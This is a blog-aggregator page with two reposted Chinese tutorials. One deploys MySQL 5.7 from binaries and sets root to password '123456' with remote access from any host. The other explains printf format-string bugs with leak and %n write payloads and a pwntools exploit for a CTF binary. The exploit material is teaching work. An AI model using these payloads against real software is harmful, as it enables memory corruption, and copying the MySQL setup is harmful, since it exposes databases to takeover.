首页 文章 精选 留言 我的

精选列表

搜索[二进制],共7311篇文章
优秀的个人博客,低调大师

技术分享| 二进制部署MySQL

一、介绍 ​MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。 ​ MySQL是一种关系型数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。 ​ MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型和大型网站的开发都选择 MySQL 作为网站数据库。 二、应用环境 与其他的大型数据库例如 Oracle、DB2、SQL Server等相比,MySQL [1] 自有它的不足之处,但是这丝毫也没有减少它受欢迎的程度。对于一般的个人使用者和中小型企业来说,MySQL提供的功能已经绰绰有余,而且由于 MySQL是开放源码软件,因此可以大大降低总体拥有成本。 ​Linux作为操作系统,Apache 或Nginx作为 Web 服务器,MySQL 作为数据库,PHP/Perl/Python作为服务器端脚本解释器。由于这四个软件都是免费或开放源码软件(FLOSS),因此使用这种方式不用花一分钱(除开人工成本)就可以建立起一个稳定、免费的网站系统,被业界称为“LAMP“或“LNMP”组合 三、系统特性 1、MySQL使用 C和 C++编写,并使用了多种编译器进行测试,保证了源代码的可移植性。 2、支持 AIX、FreeBSD、HP-UX、Linux、Mac OS、NovellNetware、OpenBSD、OS/2 Wrap、Solaris、Windows等多种操作系统。 3、Group Replication:MySQL 5.7.21 引入了 Group Replication 功能,这是 MySQL 的一种高可用性和复制解决方案。它基于组复制协议,允许将一个 MySQL 服务器组成员作为复制集群的一部分。Group Replication 提供了自动故障检测和恢复机制,以确保数据的一致性和可用性。 4、JSON 支持的增强:MySQL 5.7.21 对 JSON 类型进行了增强。它引入了一些新的 JSON 函数和操作符,使得在处理和查询存储为 JSON 数据的字段时更加灵活和方便。此外,还提供了更好的 JSON 支持以及对 JSON 数据的索引和搜索功能。 5、InnoDB 存储引擎的改进:InnoDB 是 MySQL 默认的事务性存储引擎,在 MySQL 5.7.21 中进行了一些改进。这些改进包括性能优化、并发性增强、稳定性提升以及对空间和存储管理的改进。 6、GIS 功能的增强:MySQL 5.7.21 进一步加强了对地理空间数据的支持。它引入了新的 GIS 函数和操作符,提供了更强大的地理空间数据处理能力。这些功能使得在存储和查询地理空间数据时更加方便和高效。 7、优化器和执行计划改进:MySQL 5.7.21 对查询优化器进行了一些改进,以提高查询的执行性能。这些改进包括索引选择和使用的优化、执行计划的改进以及查询性能的优化策略。 8、安全性增强:MySQL 5.7.21 引入了一些安全性增强的功能。其中包括密码强度检查和密码过期功能的改进,以及对安全连接(Secure Connection)的支持。 四、服务部署 1、下载MySQL官方包 ## 下载MySQL [root@localhost ~]# wget https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.21-linux-glibc2.12-x86_64.tar.gz 2、解压并移动安装包 # 解压 tar -zxvf 待解压目录 [root@localhost ~]# tar -zxvf mysql-5.7.21-linux-glibc2.12-x86_64.tar.gz # 移动 mv 移动目录 移动后的目录 [root@localhost ~]# mv mysql-5.7.21-linux-glibc2.12-x86_64 /usr/local/mysql 3、创建数据目录 # 进入MySQL目录 [root@localhost ~]# cd /usr/local/mysql # 创建data文件夹(也可以根据那个磁盘大而定__df -Th查看) [root@localhost mysql]# mkdir data 4、创建mysql用户权限 # 创建msyql组 [root@localhost mysql]# groupadd mysql # 创建mysql用户并添加到mysql组中,-r表示mysql是系统级用户,-g是所属组为mysql [root@localhost mysql]# useradd -r -g -U mysql mysql # 修改mysql目录的组以及权限 [root@localhost mysql]# chown mysql:mysql -R ./ 5、修改MySQL配置文件 [root@localhost mysql]# vi /etc/my.cnf [mysqld] ## 用于指定 MySQL 服务器绑定的网络接口地址,127.0.0.1代表只能本地访问 bind-address = 127.0.0.1 port = 3306 user = mysql # mysql解压目录 basedir = /usr/local/mysql # 数据存放目录 datadir = /usr/local/mysql/data # 跳过密码验证 # skip-grant-tables # socker文件存放目录 socket = /tmp/mysql.sock # 错误日志 log-error = /usr/local/mysql/data/mysql.error # mysql进程号 pid-file = /usr/local/mysql/data/mysql.pid # 日志记录慢查询SQL slow_query_log = true slow_query_log_file = /usr/local/mysql/data/mysql_slow_query.log long_query_time = 1 #记录没有使用index的查询记录 log-queries-not-using-indexes sql_mode = NO_ENGINE_SUBSTITUTION,NO_AUTO_CREATE_USER 6、初始化MySQL # 初始化 --defaults-file为配置文件所在 ,--basedir为解压路径,--datadir为数据保存路径 --user表示MySQL所属用户 [root@localhost mysql]# ./bin/mysqld --defaults-file=/etc/my.cnf --basedir=/usr/local/mysql/ --datadir=/usr/local/mysql/data --user=mysql --initialize ## 如果执行完初始化没有报错,复制MySQL启动脚本到/etc/init.d/目录便于使用service mysql start启动 [root@localhost mysql]# cp support-files/mysql.server /etc/init.d/mysql 7、查看密码 ## 初始化MySQL是会生产一个临时密码,可以通过查看在my.cnf中配置的log-error的配置文件知晓。 [root@localhost mysql]# cat data/mysql.error root@localhost: 2(Q!o_an6ZaI ##通常最后一行 8、设置systemd启动文件 [root@localhost mysql]# vim /usr/lib/systemd/system/mysql.service [Unit] Description=MySQL Server Documentation=man:mysqld() Documentation=http://dev.mysql.com/doc/refman/en/using-systemd.html After=network.target After=syslog.target [Install] WantedBy=multi-user.target [Service] User=mysql Group=mysql PIDFile=/usr/local/mysql/data/mysqld.pid # Disable service start and stop timeout logic of systemd for mysqld service. TimeoutSec= # Execute pre and post scripts as root PermissionsStartOnly=true # Needed to create system tables #ExecStartPre=/usr/bin/mysqld_pre_systemd # Start main service ExecStart=/usr/local/mysql/bin/mysqld --daemonize --pid-file=/usr/local/mysql/data/mysqld.pid #注意这里要加上 --daemonize # Use this to switch malloc implementation #EnvironmentFile=-/etc/sysconfig/mysql # Sets open_files_limit LimitNOFILE = Restart=on-failure RestartPreventExitStatus= PrivateTmp=false 9、启动服务 ## 开机自启动 [root@localhost mysql]# systemctl enable --now mysql.service 10、设置环境变量 [root@localhost mysql]# vim /etc/profile export PATH=$PATH:/usr/local/mysql/bin ## 最后一行添加 [root@localhost mysql]# source /etc/profile 11、修改密码 ## 登入MySQL [root@localhost mysql]# mysql -uroot -p Enter password: ## mysql.error获取的临时密码ep(U:hpym0&f ## 修改密码 mysql> SET PASSWORD = PASSWORD('123456'); mysql> ALTER USER 'root'@'localhost' PASSWORD EXPIRE NEVER; mysql> FLUSH PRIVILEGES; ## 设置MySQL远程登入 mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION; mysql> FLUSH PRIVILEGES; 五、开放相关端口 [root@localhost mysql]# firewall-cmd --zone=public --add-port=3306/tcp --permanent [root@localhost mysql]# firewall-cmd --reload

优秀的个人博客,低调大师

二进制安全】printf之任意读与写

前言 新手入门pwn,对于各位表哥在writeup中写的格式化字符串漏洞不是很理解,查阅网上资料发现大多都是以printf来深入讲解格式化字符串漏洞的原理,故作此文来探讨printf使用不当产生的漏洞,有不正确的地方,望大佬可以指出来。 printf剖析 printf是C语言中的输出函数,包含在头文件stdio.h文件中,功能是按规定格式向输出设备(一般为显示器)输出数据,并返回实际输出的字符数,若出错,则返回负数。printf函数的原型为: # include <stdio.h>intprintf(constchar*format,...); printf的一般格式有: 1) printf("字符串\n"); 2) printf("输出控制符",输出参数); 3) printf("输出控制符1 输出控制符2…", 输出参数1, 输出参数2, …); 4) printf("输出控制符 非输出控制符",输出参数); 由函数原型我们可以知道printf函数的第一个字符指向一个format字符串(格式化字符串),后面再不定的跟着一些参数。常见的格式符如下: %c:字符%d:十进制整数%x:16进制数据%p:16进制数据,与%x类似,但它输出时会在前面添加一个0x,在32bit下对应4字节,在64bit下对应8字节。%s:字符串,可利用%i$s表示输出偏移i出所指向的字符串。%n:%之前的字符个数。 具体实例参见如下: #include <stdio.h>int main(){ int a=1; printf("c:%c\n",a); printf("d:%d\n",a); printf("p:%p\n",a); printf("x:%x\n",a); printf("aaaa%n\n",&a); //%n前面有4个字符,因此%将4赋值给了a printf("%d",a); return 0;} gcc程序编译: gcc -no-pie -fno-stack-protector -z execstack -g printf_01.c -o 2 ./2 运行,输出结果为: c:d:1p:0x1x:1aaaa4 printf函数是C语言中少数支持可变参数的库函数。当调用者(用户)调用此函数时,被调用者(后面我们用系统指代被调用者)是无法知道在函数调用前到底有多少参数被压入到栈中的。那么当运行call printf 系统是怎么知道该输出多少个参数呢? format!系统通过判断传入的format参数以指定参数的数量和类型,来进行函数打印,与后面所带的参数无关。当format字符串中所含有的格式符的数量 > 后面传入参数的数量时,多出来的格式符系统依旧会根据%去栈中寻找相应的参数,因此就会造成内存泄漏形成任意地址的读与写。 漏洞利用 1、内存地址泄露 下面我们通过一个例子来了解printf任意地址读与写的前因后果! #include <stdio.h>#include <string.h>int main(int argc,char **argv) { static int b=1; char s[100]; printf("%p\n",&b);//查看b的地址 //scanf("%s", s);//因为当我们任意地址读时需要利用printf输入地址,而scanf与printf无法一起使用,因而舍弃scanf strcpy(s,argv[1]); printf(s);//漏洞点,s为第一个参数 printf("the values of b is %d\n",b);//查看b的值 return 0;} printf(s)为漏洞产生点,s为printf的第一个参数,当我们输入参数s含有格式符,此时格式符>传入参数(参数数为0),系统依旧会根据%去栈中寻找相应的参数。下面我们对上面的文件进行编译运行: gcc -m32 -fno-stack-protector -no-pie -o test6 test6.c ./test6运行。当输入含格式符的字符串 "aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" 时,输出一些类似于地址类的数据,那么这些数据是什么呢?会是泄露出来的内存地址吗?咱调试一下究竟! gdb调试开始!!!我们可以先用 disass main 对主函数进行反汇编一下,在漏洞点printf(s)的call printf下断点,输入c运行程序。 便于查看在printf附近的栈结构,可以发现format字符串所在的地址为0xffffd4dc,printf(s)只有一个参数, 因此format和vararg地址指向的是同一处,此时ESP栈指针指向的是地址0xffffd4c0。 查看$esp向后的栈空间,再次输入c继续运行。观察输出的地址,发现我们输入的格式符("aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x")恰好将printf函数format参数地址所在栈空间(0xffffd4c0)-4后的所有地址输出了,造成了内存地址的泄露。且我们输入的第一个字符串aaaa在栈中输出的对应输出的第7个%08x所输出的地址,即距离aaaa的偏移量为7个地址单元。 2、内存地址读与写 地址泄露出来了,那么接下来我们该怎么读取呢? %s !!!%s,以字符串格式输出,当我们输入%i$s 时代表在以字符串格式第 i 个偏移处的内存地址内容,构造任意读输入语句:(PS:%i\$s中反斜线主要是转义) 例如:0x61616161这个地址已经被我们成功的写入到内存(0xffffd4dc)中了,当我们用 "`printf "\xdc\xd4\xff\xff"`.%7\$s" 语句读取内存地址时,将会产生报错,原因是由于该内存地址不可读。 读操作进行完毕,写操作还会远吗? 类似于读操作,只需要将%x换成%n即可。%n会将%之前所有变量的个数复制给一个变量。这里当我们输入"`printf "\x20\xa0\x04\x08"`.%7\$n" 会将%前面有五个字符,因此%7$n会将5复制给第7个偏移量地址(0xffffd4dc)内容所指向的地址(0x0804a020),有点绕,咱简单画个图解析一下吧! 运行结果如下: 例子说明 利用printf对地址的任意读与写也正是利用了上面的内存泄漏。下面我们通过对一题的分析来具体解读一下printf对地址的任意读与写吧!(具体的文件参见文末。) 先查看一下基本信息:checksec fsb [*] '/home/giantbranch/test_pwn/0838/CGfsb' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) 将文件放入ida中进行查看,伪代码主要部分如下: puts("please tell me your name:"); read(0, &v4, 0xAu); puts("leave your message please:"); fgets((char *)&v7, 100, stdin); printf("hello %s", &v4); puts("your message is:"); printf((const char *)&v7); //漏洞点,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面输入的参数 if ( pwnme == 8 ) { puts("you pwned me, here is your flag:\n"); system("cat flag"); } 通过伪代码我们可以发现当pwnme值为8时,我们便可以成功获得flag!那么接下来,查看pwnme。 .bss:0804A068 public pwnme.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r.bss:0804A068 _bss ends.bss:0804A068 可知变量pwnme处于 .bss段(指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域),属于全局变量。 分析漏洞点的语句,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面fgets输入的参数,我们可以利用上面printf任意地址读的思路查看读需要的偏移量:(PS:%x是输出16进制数据,08表示宽度,不足8为左边按0补齐) 由输出的堆栈信息,可以发现aaaa在的ascii码在第10个位置被输出了。 确定好了任意读的偏移量,下一步,任意地址写! 在上面我们分析变量pwnme时得出地址为0x0804A068,由此我们可以试着构造exp: from pwn import *#p=remote('220.249.52.133','34368')p=process('./CGfsb')pwnme_addr=0x0804a068payload=p32(pwnme_addr)+'aaaa%10$n'p.recvuntil('please tell me your name:\n')p.sendline('aaaaaaa')p.recvuntil('leave your message please:\n')p.sendline(payload)#print p.recv()print p.recv() 结果输出: 例子附件: 链接: https://pan.baidu.com/s/1Wb3aSjL6J-dXAl9e18lJ6A 提取码: q927 参考链接: https://bbs.pediy.com/thread-253638.htmhttps://blog.csdn.net/qq_43394612/article/details/84900668https://www.cnblogs.com/pwn2web/p/12077965.htmlhttps://www.cnblogs.com/ichunqiu/p/9329387.html ▼ 往期精彩回顾 ▼ 【web安全】一次反射型xss的绕过 【WEB安全】某CMS代码审计 【系统分享】anhunsec靶场练习系统 END 本文分享自微信公众号 - 暗魂安全团队(anhunsec)。如有侵权,请联系 support@oschina.cn 删除。本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册